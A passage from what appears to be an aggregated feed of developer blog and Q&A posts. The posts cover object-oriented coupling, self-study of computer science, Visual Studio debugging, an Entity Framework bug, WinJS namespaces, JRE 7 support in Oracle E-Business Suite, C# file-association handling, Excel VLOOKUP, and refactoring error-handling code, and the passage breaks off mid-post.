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  • Loose Coupling in Object Oriented Design

    - by m3th0dman
    I am trying to learn GRASP and I found this explained (here on page 3) about Low Coupling and I was very surprised when I found this: Consider the method addTrack for an Album class, two possible methods are: addTrack( Track t ) and addTrack( int no, String title, double duration ) Which method reduces coupling? The second one does, since the class using the Album class does not have to know a Track class. In general, parameters to methods should use base types (int, char ...) and classes from the java.* packages. I tend to diasgree with this; I believe addTrack(Track t) is better than addTrack(int no, String title, double duration) due to various reasons: It is always better for a method to as fewer parameters as possible (according to Uncle Bob's Clean Code none or one preferably, 2 in some cases and 3 in special cases; more than 3 needs refactoring - these are of course recommendations not holly rules). If addTrack is a method of an interface, and the requirements need that a Track should have more information (say year or genre) then the interface needs to be changed and so that the method should supports another parameter. Encapsulation is broke; if addTrack is in an interface, then it should not know the internals of the Track. It is actually more coupled in the second way, with many parameters. Suppose the no parameter needs to be changed from int to long because there are more than MAX_INT tracks (or for whatever reason); then both the Track and the method need to be changed while if the method would be addTrack(Track track) only the Track would be changed. All the 4 arguments are actually connected with each other, and some of them are consequences from others. Which approach is better?

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  • How do I completely self study computer science?

    - by Optimus
    Being a completely self taught programmer I would like it if I could better myself by self-learning computer science course taught to a typical CS grad. Finding different resources on internet has been easy, there is of course MIT open course ware, and there are Coursera courses from Stanford and other universities. There are numerous other open resources scattered around the Internet and some good books that are repeatedly recommended. I have been learning a lot but my study is heavily fragmented, which really bugs me, I would love If somewhere I could find a path I should follow and a stack I should limit myself to so that I can be sure about what essential parts of computer science I have studied and systematically approach those I haven't. The problem with Wikipedia is it doesn't tell you whats essential but insists on being a complete reference. MIT open course ware for Computer science and Electrical Engg. has a huge list of courses also not telling you what courses are essential and what optional as per person's interest/requirement. I found no mention of an order in which one should study different subjects. What I would love is to create a list that I can follow like this dummy one SUBJECTS DONE Introduction to Computer Science * Introduction to Algorithms * Discrete Mathematics Adv. Discrete Mathematics Data structures * Adv. Algorithms ... As you can clearly see I have little idea of what specific subjects computer science consists of. It would be hugely helpful even if some one pointed out essential courses from MIT Course ware ( + essential subjects not present at MIT OCW) in a recommended order of study. I'll list the Posts I already went through (and I didn't get what I was looking for there) Computer science curriculum for non-CS major? - top answer says it isn't worth studying cse How can a self-taught programmer learn more about Computer Science? - points to MIT OCW Studying computer science - what am I getting myself into? Overview of computer science, programming

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  • Start Debugging in Visual Studio

    - by Daniel Moth
    Every developer is familiar with hitting F5 and debugging their application, which starts their app with the Visual Studio debugger attached from the start (instead of attaching later). This is one way to achieve step 1 of the Live Debugging process. Hitting F5, F11, Ctrl+F10 and the other ways to start the process under the debugger is covered in this MSDN "How To". The way you configure the debugging experience, before you hit F5, is by selecting the "Project" and then the "Properties" menu (Alt+F7 on my keyboard bindings). Dependent on your project type there are different options, but if you browse to the Debug (or Debugging) node in the properties page you'll have a way to select local or remote machine debugging, what debug engines to use, command line arguments to use during debugging etc. Currently the .NET and C++ project systems are different, but one would hope that one day they would be unified to use the same mechanism and UI (I don't work on that product team so I have no knowledge of whether that is a goal or if it will ever happen). Personally I like the C++ one better, here is what it looks like (and it is described on this MSDN page): If you were following along in the "Attach to Process" blog post, the equivalent to the "Select Code Type" dialog is the "Debugger Type" dropdown: that is how you change the debug engine. Some of the debugger properties options appear on the standard toolbar in VS. With Visual Studio 11, the Debug Type option has been added to the toolbar If you don't see that in your installation, customize the toolbar to show it - VS 11 tends to be conservative in what you see by default, especially for the non-C++ Visual Studio profiles. Comments about this post by Daniel Moth welcome at the original blog.

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  • HUGE EF4 Inheritance Bug

    - by djsolid
    Well maybe not for everyone but for me is definitely really important. That is why I get straight into the point. We have the following model: Which maps to the following database: We are using EF4.0 and we want to load all Burgers including BurgerDetails. So we write the following query: But it fails. The error is : “The ResultType of the specified expression is not compatible with the required type. The expression ResultType is 'Transient.reference[SampleEFDBModel.Food]' but the required type is 'Transient.reference[SampleEFDBModel.Burger]'.Parameter name: arguments[0]”   So in the new version of EF there is no way to eager load data through Navigation Properties with 1-1 relationships defined in subclasses. Here is the relevant Microsoft Connect Issue. It is described through an other example but the result is the same.  Please if you think this is important vote up on Microsoft Connect.   EF 4.0 has many improvements. I am using it since v1 in large-scale projects and this version is faster,produces cleaner sql, more reliable and can be used for complicated business scenarios. That is why I believe this issue should be solved as soon as possible. I understand that release cycles are slow but I am hoping atleast for a hotfix. I also have uploaded the example project so you can test it. Download it from here. If anyone has found any workarounds please post it in the comments section. Thanks!

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  • Metro: Namespaces and Modules

    - by Stephen.Walther
    The goal of this blog entry is to describe how you can use the Windows JavaScript (WinJS) library to create namespaces. In particular, you learn how to use the WinJS.Namespace.define() and WinJS.Namespace.defineWithParent() methods. You also learn how to hide private methods by using the module pattern. Why Do We Need Namespaces? Before we do anything else, we should start by answering the question: Why do we need namespaces? What function do they serve? Do they just add needless complexity to our Metro applications? After all, plenty of JavaScript libraries do just fine without introducing support for namespaces. For example, jQuery has no support for namespaces and jQuery is the most popular JavaScript library in the universe. If jQuery can do without namespaces, why do we need to worry about namespaces at all? Namespaces perform two functions in a programming language. First, namespaces prevent naming collisions. In other words, namespaces enable you to create more than one object with the same name without conflict. For example, imagine that two companies – company A and company B – both want to make a JavaScript shopping cart control and both companies want to name the control ShoppingCart. By creating a CompanyA namespace and CompanyB namespace, both companies can create a ShoppingCart control: a CompanyA.ShoppingCart and a CompanyB.ShoppingCart control. The second function of a namespace is organization. Namespaces are used to group related functionality even when the functionality is defined in different physical files. For example, I know that all of the methods in the WinJS library related to working with classes can be found in the WinJS.Class namespace. Namespaces make it easier to understand the functionality available in a library. If you are building a simple JavaScript application then you won’t have much reason to care about namespaces. If you need to use multiple libraries written by different people then namespaces become very important. Using WinJS.Namespace.define() In the WinJS library, the most basic method of creating a namespace is to use the WinJS.Namespace.define() method. This method enables you to declare a namespace (of arbitrary depth). The WinJS.Namespace.define() method has the following parameters: · name – A string representing the name of the new namespace. You can add nested namespace by using dot notation · members – An optional collection of objects to add to the new namespace For example, the following code sample declares two new namespaces named CompanyA and CompanyB.Controls. Both namespaces contain a ShoppingCart object which has a checkout() method: // Create CompanyA namespace with ShoppingCart WinJS.Namespace.define("CompanyA"); CompanyA.ShoppingCart = { checkout: function (){ return "Checking out from A"; } }; // Create CompanyB.Controls namespace with ShoppingCart WinJS.Namespace.define( "CompanyB.Controls", { ShoppingCart: { checkout: function(){ return "Checking out from B"; } } } ); // Call CompanyA ShoppingCart checkout method console.log(CompanyA.ShoppingCart.checkout()); // Writes "Checking out from A" // Call CompanyB.Controls checkout method console.log(CompanyB.Controls.ShoppingCart.checkout()); // Writes "Checking out from B" In the code above, the CompanyA namespace is created by calling WinJS.Namespace.define(“CompanyA”). Next, the ShoppingCart is added to this namespace. The namespace is defined and an object is added to the namespace in separate lines of code. A different approach is taken in the case of the CompanyB.Controls namespace. The namespace is created and the ShoppingCart object is added to the namespace with the following single line of code: WinJS.Namespace.define( "CompanyB.Controls", { ShoppingCart: { checkout: function(){ return "Checking out from B"; } } } ); Notice that CompanyB.Controls is a nested namespace. The top level namespace CompanyB contains the namespace Controls. You can declare a nested namespace using dot notation and the WinJS library handles the details of creating one namespace within the other. After the namespaces have been defined, you can use either of the two shopping cart controls. You call CompanyA.ShoppingCart.checkout() or you can call CompanyB.Controls.ShoppingCart.checkout(). Using WinJS.Namespace.defineWithParent() The WinJS.Namespace.defineWithParent() method is similar to the WinJS.Namespace.define() method. Both methods enable you to define a new namespace. The difference is that the defineWithParent() method enables you to add a new namespace to an existing namespace. The WinJS.Namespace.defineWithParent() method has the following parameters: · parentNamespace – An object which represents a parent namespace · name – A string representing the new namespace to add to the parent namespace · members – An optional collection of objects to add to the new namespace The following code sample demonstrates how you can create a root namespace named CompanyA and add a Controls child namespace to the CompanyA parent namespace: WinJS.Namespace.define("CompanyA"); WinJS.Namespace.defineWithParent(CompanyA, "Controls", { ShoppingCart: { checkout: function () { return "Checking out"; } } } ); console.log(CompanyA.Controls.ShoppingCart.checkout()); // Writes "Checking out" One significant advantage of using the defineWithParent() method over the define() method is the defineWithParent() method is strongly-typed. In other words, you use an object to represent the base namespace instead of a string. If you misspell the name of the object (CompnyA) then you get a runtime error. Using the Module Pattern When you are building a JavaScript library, you want to be able to create both public and private methods. Some methods, the public methods, are intended to be used by consumers of your JavaScript library. The public methods act as your library’s public API. Other methods, the private methods, are not intended for public consumption. Instead, these methods are internal methods required to get the library to function. You don’t want people calling these internal methods because you might need to change them in the future. JavaScript does not support access modifiers. You can’t mark an object or method as public or private. Anyone gets to call any method and anyone gets to interact with any object. The only mechanism for encapsulating (hiding) methods and objects in JavaScript is to take advantage of functions. In JavaScript, a function determines variable scope. A JavaScript variable either has global scope – it is available everywhere – or it has function scope – it is available only within a function. If you want to hide an object or method then you need to place it within a function. For example, the following code contains a function named doSomething() which contains a nested function named doSomethingElse(): function doSomething() { console.log("doSomething"); function doSomethingElse() { console.log("doSomethingElse"); } } doSomething(); // Writes "doSomething" doSomethingElse(); // Throws ReferenceError You can call doSomethingElse() only within the doSomething() function. The doSomethingElse() function is encapsulated in the doSomething() function. The WinJS library takes advantage of function encapsulation to hide all of its internal methods. All of the WinJS methods are defined within self-executing anonymous functions. Everything is hidden by default. Public methods are exposed by explicitly adding the public methods to namespaces defined in the global scope. Imagine, for example, that I want a small library of utility methods. I want to create a method for calculating sales tax and a method for calculating the expected ship date of a product. The following library encapsulates the implementation of my library in a self-executing anonymous function: (function (global) { // Public method which calculates tax function calculateTax(price) { return calculateFederalTax(price) + calculateStateTax(price); } // Private method for calculating state tax function calculateStateTax(price) { return price * 0.08; } // Private method for calculating federal tax function calculateFederalTax(price) { return price * 0.02; } // Public method which returns the expected ship date function calculateShipDate(currentDate) { currentDate.setDate(currentDate.getDate() + 4); return currentDate; } // Export public methods WinJS.Namespace.define("CompanyA.Utilities", { calculateTax: calculateTax, calculateShipDate: calculateShipDate } ); })(this); // Show expected ship date var shipDate = CompanyA.Utilities.calculateShipDate(new Date()); console.log(shipDate); // Show price + tax var price = 12.33; var tax = CompanyA.Utilities.calculateTax(price); console.log(price + tax); In the code above, the self-executing anonymous function contains four functions: calculateTax(), calculateStateTax(), calculateFederalTax(), and calculateShipDate(). The following statement is used to expose only the calcuateTax() and the calculateShipDate() functions: // Export public methods WinJS.Namespace.define("CompanyA.Utilities", { calculateTax: calculateTax, calculateShipDate: calculateShipDate } ); Because the calculateTax() and calcuateShipDate() functions are added to the CompanyA.Utilities namespace, you can call these two methods outside of the self-executing function. These are the public methods of your library which form the public API. The calculateStateTax() and calculateFederalTax() methods, on the other hand, are forever hidden within the black hole of the self-executing function. These methods are encapsulated and can never be called outside of scope of the self-executing function. These are the internal methods of your library. Summary The goal of this blog entry was to describe why and how you use namespaces with the WinJS library. You learned how to define namespaces using both the WinJS.Namespace.define() and WinJS.Namespace.defineWithParent() methods. We also discussed how to hide private members and expose public members using the module pattern.

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  • Java JRE 7 Certified with Oracle E-Business Suite

    - by Steven Chan (Oracle Development)
    Java Runtime Environment 7u10 (a.k.a. JRE 1.7.0_10 build 18) and later updates on the JRE 7 codeline are now certified with Oracle E-Business Suite Release 11i and 12 Windows-based desktop clients. What's needed to enable EBS environments for JRE 7? EBS customers should ensure that they are running JRE 7u10, at minimum, on Windows desktop clients. Of the compatibility issues identified with JRE 7, the most critical is an issue that prevents E-Business Suite Forms-based products from launching on Windows desktops that are running JRE 7.  Customers can prevent this issue -- and all other JRE 7 compatibility issues -- by ensuring that they have applied the latest certified patches documented for JRE 7 configurations to their EBS application tier servers.  These are summarized here for convenience. If the requirements change over time, please check the Notes for the authoritative list of patches: Apply Forms patch 14615390 to EBS 11i environments (Note 125767.1) Apply Forms patch 14614795 to EBS 12.0 and 12.1 environments (Note 437878.1) These patches are compatible with JRE 6 and 7, production ready, and fully-tested with the E-Business Suite.  These patches may be applied immediately to all E-Business Suite environments. All other Forms prerequisites documented in the Notes above should also be applied.  Where are the official patch requirements documented? All patches required for ensuring full compatibility of the E-Business Suite with JRE 7 are documented in these Notes: For EBS 11i: Deploying Sun JRE (Native Plug-in) for Windows Clients in Oracle E-Business Suite Release 11i (Note 290807.1) Upgrading Developer 6i with Oracle E-Business Suite 11i (Note 125767.1) For EBS 12 Deploying Sun JRE (Native Plug-in) for Windows Clients in Oracle E-Business Suite Release 12 (Note 393931.1) Upgrading OracleAS 10g Forms and Reports in Oracle E-Business Suite Release 12 (Note 437878.1) Prerequisites for 32-bit and 64-bit JRE certifications JRE 1.70_10 32-bit + EBS 11.5.10.2 Windows XP SP3 Windows Vista SP1 and SP2 Windows 7 and Windows 7 SP1  Forms 6.0.8.28.x patch 14615390 (Note 125767.1) JRE 1.70_10 32-bit + EBS 12.0 & 12.1 Windows XP SP3 Windows Vista SP1 and SP2 Windows 7 and Windows 7 SP1 Forms 10g overlay patch 14614795 (Note 437878.1) SSL Users:  10.1.0.5 version of Patch 6370967 applied to AS 10.1.3 with OPatch. Note: This fix is already included in the April 2011 AS 10.1.3.5 CPU patch and later. JRE 1.7.0_10 64-bit + EBS 11.5.10.2 Windows 7 (64-bit) and Windows 7 SP1 (64-bit) Forms 6.0.8.28.x patch 14615390 (Note 125767.1) JRE 1.70_10 64-bit + EBS 12.0 & 12.1 Windows 7 (64-bit) and Windows 7 SP1 (64-bit) Forms 10g overlay patch 14614795 (Note 437878.1) SSL Users:  10.1.0.5 version of Patch 6370967 applied to AS 10.1.3 with OPatch. Note: This fix is already included in the April 2011 AS 10.1.3.5 CPU patch and later.  EBS + Discoverer 11g Users JRE 1.7.0_10 (7u10) is certified for Discoverer 11g in E-Business Suite environments with the following minimum requirements: Discoverer (11g) 11.1.1.6 plus Patch 13877486 and later  Reference: How To Find Oracle BI Discoverer 10g and 11g Certification Information (Document 233047.1) Worried about the 'mismanaged session cookie' issue? No need to worry -- it's fixed.  To recap: JRE releases 1.6.0_18 through 1.6.0_22 had issues with mismanaging session cookies that affected some users in some circumstances. The fix for those issues was first included in JRE 1.6.0_23. These fixes will carry forward and continue to be fixed in all future JRE releases on the JRE 6 and 7 codelines.  In other words, if you wish to avoid the mismanaged session cookie issue, you should apply any release after JRE 1.6.0_22 on the JRE 6 codeline, and JRE 7u10 and later JRE 7 codeline updates. All JRE 6 and 7 releases are certified with EBS upon release Our standard policy is that all E-Business Suite customers can apply all JRE updates to end-user desktops from JRE 1.6.0_03 and later updates on the 1.6 codeline, and from JRE 7u10 and later updates on the JRE 7 codeline.  We test all new JRE 1.6 and JRE 7 releases in parallel with the JRE development process, so all new JRE 1.6 and 7 releases are considered certified with the E-Business Suite on the same day that they're released by our Java team.  You do not need to wait for a certification announcement before applying new JRE 1.6 or JRE 7 releases to your EBS users' desktops. Implications of Java 6 End of Public Updates for EBS Users The Support Roadmap for Oracle Java is published here: Oracle Java SE Support Roadmap The latest updates to that page (as of Sept. 19, 2012) state (emphasis added): Java SE 6 End of Public Updates Notice After February 2013, Oracle will no longer post updates of Java SE 6 to its public download sites. Existing Java SE 6 downloads already posted as of February 2013 will remain accessible in the Java Archive on Oracle Technology Network. Developers and end-users are encouraged to update to more recent Java SE versions that remain available for public download. For enterprise customers, who need continued access to critical bug fixes and security fixes as well as general maintenance for Java SE 6 or older versions, long term support is available through Oracle Java SE Support . What does this mean for Oracle E-Business Suite users? EBS users fall under the category of "enterprise users" above.  Java is an integral part of the Oracle E-Business Suite technology stack, so EBS users will continue to receive Java SE 6 updates after February 2013. In other words, nothing will change for EBS users after February 2013.  EBS users will continue to receive critical bug fixes and security fixes as well as general maintenance for Java SE 6. These Java SE 6 updates will be made available to EBS users for the Extended Support periods documented in the Oracle Lifetime Support policy document for Oracle Applications (PDF): EBS 11i Extended Support ends November 2013 EBS 12.0 Extended Support ends January 2015 EBS 12.1 Extended Support ends December 2018 Will EBS users be forced to upgrade to JRE 7 for Windows desktop clients? No. This upgrade is highly recommended but currently remains optional. JRE 6 will be available to Windows users to run with EBS for the duration of your respective EBS Extended Support period.  Updates will be delivered via My Oracle Support, where you can continue to receive critical bug fixes and security fixes as well as general maintenance for JRE 6 desktop clients.  Coexistence of JRE 6 and JRE 7 on Windows desktops The upgrade to JRE 7 is highly recommended for EBS users, but some users may need to run both JRE 6 and 7 on their Windows desktops for reasons unrelated to the E-Business Suite. Most EBS configurations with IE and Firefox use non-static versioning by default. JRE 7 will be invoked instead of JRE 6 if both are installed on a Windows desktop. For more details, see "Appendix B: Static vs. Non-static Versioning and Set Up Options" in Notes 290801.1 and 393931.1. Applying Updates to JRE 6 and JRE 7 to Windows desktops Auto-update will keep JRE 7 up-to-date for Windows users with JRE 7 installed. Auto-update will only keep JRE 7 up-to-date for Windows users with both JRE 6 and 7 installed.  JRE 6 users are strongly encouraged to apply the latest Critical Patch Updates as soon as possible after each release. The Jave SE CPUs will be available via My Oracle Support.  EBS users can find more information about JRE 6 and 7 updates here: Information Center: Installation & Configuration for Oracle Java SE (Note 1412103.2) The dates for future Java SE CPUs can be found on the Critical Patch Updates, Security Alerts and Third Party Bulletin.  An RSS feed is available on that site for those who would like to be kept up-to-date. What will Mac users need? Oracle will provide updates to JRE 7 for Mac OS X users. EBS users running Macs will need to upgrade to JRE 7 to receive JRE updates. The certification of Oracle E-Business Suite with JRE 7 for Mac-based desktop clients accessing EBS Forms-based content is underway. Mac users waiting for that certification may find this article useful: How to Reenable Apple Java 6 Plug-in for Mac EBS Users Will EBS users be forced to upgrade to JDK 7 for EBS application tier servers? No. This upgrade will be highly recommended but will be optional for EBS application tier servers running on Windows, Linux, and Solaris.  You can choose to remain on JDK 6 for the duration of your respective EBS Extended Support period.  If you remain on JDK 6, you will continue to receive critical bug fixes and security fixes as well as general maintenance for JDK 6. The certification of Oracle E-Business Suite with JDK 7 for EBS application tier servers on Windows, Linux, and Solaris as well as other platforms such as IBM AIX and HP-UX is planned.  Customers running platforms other than Windows, Linux, and Solaris should refer to their Java vendors's sites for more information about their support policies. References Recommended Browsers for Oracle Applications 11i (Metalink Note 285218.1) Upgrading Sun JRE (Native Plug-in) with Oracle Applications 11i for Windows Clients (Metalink Note 290807.1) Recommended Browsers for Oracle Applications 12 (MetaLink Note 389422.1) Upgrading JRE Plugin with Oracle Applications R12 (MetaLink Note 393931.1) Related Articles Mismanaged Session Cookie Issue Fixed for EBS in JRE 1.6.0_23 Roundup: Oracle JInitiator 1.3 Desupported for EBS Customers in July 2009

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  • How to make a file load in my program when a user double clicks an associated file.

    - by Edward Boyle
    I assume in this article that file extension association has been setup by the installer. I may address file extension association at a later date, but for the purpose of this article, I address what sometimes eludes new C# programmers. This is sometimes confusing because you just don’t think about it — you have to access a file that you rarely access when making Windows forms applications, “Program.cs” static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } There are so many ways to skin this cat, so you get to see how I skinned my last cat. static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main(string[] args) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Form1 mainf = new Form1(); if (args.Length > 0) { try { if (System.IO.File.Exists(args[0])) { mainf.LoadFile= args[0]; } } catch { MessageBox.Show("Could not open file.", "Could not open file.", MessageBoxButtons.OK, MessageBoxIcon.Information); } } Application.Run(mainf); } } It may be easy to miss, but don’t forget to add the string array for the command line arguments: static void Main(string[] args) this is not a part of the default program.cs You will notice the mainf.LoadFile property. In the main form of my program I have a property for public string LoadFile ... and the field private string loadFile = String.Empty; in the forms load event I check the value of this field. private void Form1_Load(object sender, EventArgs e) { if(loadFile != String.Empty){ // The only way this field is NOT String.empty is if we set it in // static void Main() of program.cs // LOAD it however it is needed OpenFile, SetDatabase, whatever you use. } }

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  • VLOOKUP in Excel, part 2: Using VLOOKUP without a database

    - by Mark Virtue
    In a recent article, we introduced the Excel function called VLOOKUP and explained how it could be used to retrieve information from a database into a cell in a local worksheet.  In that article we mentioned that there were two uses for VLOOKUP, and only one of them dealt with querying databases.  In this article, the second and final in the VLOOKUP series, we examine this other, lesser known use for the VLOOKUP function. If you haven’t already done so, please read the first VLOOKUP article – this article will assume that many of the concepts explained in that article are already known to the reader. When working with databases, VLOOKUP is passed a “unique identifier” that serves to identify which data record we wish to find in the database (e.g. a product code or customer ID).  This unique identifier must exist in the database, otherwise VLOOKUP returns us an error.  In this article, we will examine a way of using VLOOKUP where the identifier doesn’t need to exist in the database at all.  It’s almost as if VLOOKUP can adopt a “near enough is good enough” approach to returning the data we’re looking for.  In certain circumstances, this is exactly what we need. We will illustrate this article with a real-world example – that of calculating the commissions that are generated on a set of sales figures.  We will start with a very simple scenario, and then progressively make it more complex, until the only rational solution to the problem is to use VLOOKUP.  The initial scenario in our fictitious company works like this:  If a salesperson creates more than $30,000 worth of sales in a given year, the commission they earn on those sales is 30%.  Otherwise their commission is only 20%.  So far this is a pretty simple worksheet: To use this worksheet, the salesperson enters their sales figures in cell B1, and the formula in cell B2 calculates the correct commission rate they are entitled to receive, which is used in cell B3 to calculate the total commission that the salesperson is owed (which is a simple multiplication of B1 and B2). The cell B2 contains the only interesting part of this worksheet – the formula for deciding which commission rate to use: the one below the threshold of $30,000, or the one above the threshold.  This formula makes use of the Excel function called IF.  For those readers that are not familiar with IF, it works like this: IF(condition,value if true,value if false) Where the condition is an expression that evaluates to either true or false.  In the example above, the condition is the expression B1<B5, which can be read as “Is B1 less than B5?”, or, put another way, “Are the total sales less than the threshold”.  If the answer to this question is “yes” (true), then we use the value if true parameter of the function, namely B6 in this case – the commission rate if the sales total was below the threshold.  If the answer to the question is “no” (false), then we use the value if false parameter of the function, namely B7 in this case – the commission rate if the sales total was above the threshold. As you can see, using a sales total of $20,000 gives us a commission rate of 20% in cell B2.  If we enter a value of $40,000, we get a different commission rate: So our spreadsheet is working. Let’s make it more complex.  Let’s introduce a second threshold:  If the salesperson earns more than $40,000, then their commission rate increases to 40%: Easy enough to understand in the real world, but in cell B2 our formula is getting more complex.  If you look closely at the formula, you’ll see that the third parameter of the original IF function (the value if false) is now an entire IF function in its own right.  This is called a nested function (a function within a function).  It’s perfectly valid in Excel (it even works!), but it’s harder to read and understand. We’re not going to go into the nuts and bolts of how and why this works, nor will we examine the nuances of nested functions.  This is a tutorial on VLOOKUP, not on Excel in general. Anyway, it gets worse!  What about when we decide that if they earn more than $50,000 then they’re entitled to 50% commission, and if they earn more than $60,000 then they’re entitled to 60% commission? Now the formula in cell B2, while correct, has become virtually unreadable.  No-one should have to write formulae where the functions are nested four levels deep!  Surely there must be a simpler way? There certainly is.  VLOOKUP to the rescue! Let’s redesign the worksheet a bit.  We’ll keep all the same figures, but organize it in a new way, a more tabular way: Take a moment and verify for yourself that the new Rate Table works exactly the same as the series of thresholds above. Conceptually, what we’re about to do is use VLOOKUP to look up the salesperson’s sales total (from B1) in the rate table and return to us the corresponding commission rate.  Note that the salesperson may have indeed created sales that are not one of the five values in the rate table ($0, $30,000, $40,000, $50,000 or $60,000).  They may have created sales of $34,988.  It’s important to note that $34,988 does not appear in the rate table.  Let’s see if VLOOKUP can solve our problem anyway… We select cell B2 (the location we want to put our formula), and then insert the VLOOKUP function from the Formulas tab: The Function Arguments box for VLOOKUP appears.  We fill in the arguments (parameters) one by one, starting with the Lookup_value, which is, in this case, the sales total from cell B1.  We place the cursor in the Lookup_value field and then click once on cell B1: Next we need to specify to VLOOKUP what table to lookup this data in.  In this example, it’s the rate table, of course.  We place the cursor in the Table_array field, and then highlight the entire rate table – excluding the headings: Next we must specify which column in the table contains the information we want our formula to return to us.  In this case we want the commission rate, which is found in the second column in the table, so we therefore enter a 2 into the Col_index_num field: Finally we enter a value in the Range_lookup field. Important:  It is the use of this field that differentiates the two ways of using VLOOKUP.  To use VLOOKUP with a database, this final parameter, Range_lookup, must always be set to FALSE, but with this other use of VLOOKUP, we must either leave it blank or enter a value of TRUE.  When using VLOOKUP, it is vital that you make the correct choice for this final parameter. To be explicit, we will enter a value of true in the Range_lookup field.  It would also be fine to leave it blank, as this is the default value: We have completed all the parameters.  We now click the OK button, and Excel builds our VLOOKUP formula for us: If we experiment with a few different sales total amounts, we can satisfy ourselves that the formula is working. Conclusion In the “database” version of VLOOKUP, where the Range_lookup parameter is FALSE, the value passed in the first parameter (Lookup_value) must be present in the database.  In other words, we’re looking for an exact match. But in this other use of VLOOKUP, we are not necessarily looking for an exact match.  In this case, “near enough is good enough”.  But what do we mean by “near enough”?  Let’s use an example:  When searching for a commission rate on a sales total of $34,988, our VLOOKUP formula will return us a value of 30%, which is the correct answer.  Why did it choose the row in the table containing 30% ?  What, in fact, does “near enough” mean in this case?  Let’s be precise: When Range_lookup is set to TRUE (or omitted), VLOOKUP will look in column 1 and match the highest value that is not greater than the Lookup_value parameter. It’s also important to note that for this system to work, the table must be sorted in ascending order on column 1! If you would like to practice with VLOOKUP, the sample file illustrated in this article can be downloaded from here. Similar Articles Productive Geek Tips Using VLOOKUP in ExcelImport Microsoft Access Data Into ExcelImport an Access Database into ExcelCopy a Group of Cells in Excel 2007 to the Clipboard as an ImageShare Access Data with Excel in Office 2010 TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 Quickly Schedule Meetings With NeedtoMeet Share Flickr Photos On Facebook Automatically Are You Blocked On Gtalk? Find out Discover Latest Android Apps On AppBrain The Ultimate Guide For YouTube Lovers Will it Blend? iPad Edition

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  • Refactor This (Ugly Code)!

    - by Alois Kraus
    Ayende has put on his blog some ugly code to refactor. First and foremost it is nearly impossible to reason about other peoples code without knowing the driving forces behind the current code. It is certainly possible to make it much cleaner when potential sources of errors cannot happen in the first place due to good design. I can see what the intention of the code is but I do not know about every brittle detail if I am allowed to reorder things here and there to simplify things. So I decided to make it much simpler by identifying the different responsibilities of the methods and encapsulate it in different classes. The code we need to refactor seems to deal with a handler after a message has been sent to a message queue. The handler does complete the current transaction if there is any and does handle any errors happening there. If during the the completion of the transaction errors occur the transaction is at least disposed. We can enter the handler already in a faulty state where we try to deliver the complete event in any case and signal a failure event and try to resend the message again to the queue if it was not inside a transaction. All is decorated with many try/catch blocks, duplicated code and some state variables to route the program flow. It is hard to understand and difficult to reason about. In other words: This code is a mess and could be written by me if I was under pressure. Here comes to code we want to refactor:         private void HandleMessageCompletion(                                      Message message,                                      TransactionScope tx,                                      OpenedQueue messageQueue,                                      Exception exception,                                      Action<CurrentMessageInformation, Exception> messageCompleted,                                      Action<CurrentMessageInformation> beforeTransactionCommit)         {             var txDisposed = false;             if (exception == null)             {                 try                 {                     if (tx != null)                     {                         if (beforeTransactionCommit != null)                             beforeTransactionCommit(currentMessageInformation);                         tx.Complete();                         tx.Dispose();                         txDisposed = true;                     }                     try                     {                         if (messageCompleted != null)                             messageCompleted(currentMessageInformation, exception);                     }                     catch (Exception e)                     {                         Trace.TraceError("An error occured when raising the MessageCompleted event, the error will NOT affect the message processing"+ e);                     }                     return;                 }                 catch (Exception e)                 {                     Trace.TraceWarning("Failed to complete transaction, moving to error mode"+ e);                     exception = e;                 }             }             try             {                 if (txDisposed == false && tx != null)                 {                     Trace.TraceWarning("Disposing transaction in error mode");                     tx.Dispose();                 }             }             catch (Exception e)             {                 Trace.TraceWarning("Failed to dispose of transaction in error mode."+ e);             }             if (message == null)                 return;                 try             {                 if (messageCompleted != null)                     messageCompleted(currentMessageInformation, exception);             }             catch (Exception e)             {                 Trace.TraceError("An error occured when raising the MessageCompleted event, the error will NOT affect the message processing"+ e);             }               try             {                 var copy = MessageProcessingFailure;                 if (copy != null)                     copy(currentMessageInformation, exception);             }             catch (Exception moduleException)             {                 Trace.TraceError("Module failed to process message failure: " + exception.Message+                                              moduleException);             }               if (messageQueue.IsTransactional == false)// put the item back in the queue             {                 messageQueue.Send(message);             }         }     You can see quite some processing and handling going on there. Yes this looks like real world code one did put together to make things work and he does not trust his callbacks. I guess these are event handlers which are optional and the delegates were extracted from an event to call them back later when necessary.  Lets see what the author of this code did intend:          private void HandleMessageCompletion(             TransactionHandler transactionHandler,             MessageCompletionHandler handler,             CurrentMessageInformation messageInfo,             ErrorCollector errors             )         {               // commit current pending transaction             transactionHandler.CallHandlerAndCommit(messageInfo, errors);               // We have an error for a null message do not send completion event             if (messageInfo.CurrentMessage == null)                 return;               // Send completion event in any case regardless of errors             handler.OnMessageCompleted(messageInfo, errors);               // put message back if queue is not transactional             transactionHandler.ResendMessageOnError(messageInfo.CurrentMessage, errors);         }   I did not bother to write the intention here again since the code should be pretty self explaining by now. I have used comments to explain the still nontrivial procedure step by step revealing the real intention about all this complex program flow. The original complexity of the problem domain does not go away but by applying the techniques of SRP (Single Responsibility Principle) and some functional style but we can abstract the necessary complexity away in useful abstractions which make it much easier to reason about it. Since most of the method seems to deal with errors I thought it was a good idea to encapsulate the error state of our current message in an ErrorCollector object which stores all exceptions in a list along with a description what the error all was about in the exception itself. We can log it later or not depending on the log level or whatever. It is really just a simple list that encapsulates the current error state.          class ErrorCollector          {              List<Exception> _Errors = new List<Exception>();                public void Add(Exception ex, string description)              {                  ex.Data["Description"] = description;                  _Errors.Add(ex);              }                public Exception Last              {                  get                  {                      return _Errors.LastOrDefault();                  }              }                public bool HasError              {                  get                  {                      return _Errors.Count > 0;                  }              }          }   Since the error state is global we have two choices to store a reference in the other helper objects (TransactionHandler and MessageCompletionHandler)or pass it to the method calls when necessary. I did chose the latter one because a second argument does not hurt and makes it easier to reason about the overall state while the helper objects remain stateless and immutable which makes the helper objects much easier to understand and as a bonus thread safe as well. This does not mean that the stored member variables are stateless or thread safe as well but at least our helper classes are it. Most of the complexity is located the transaction 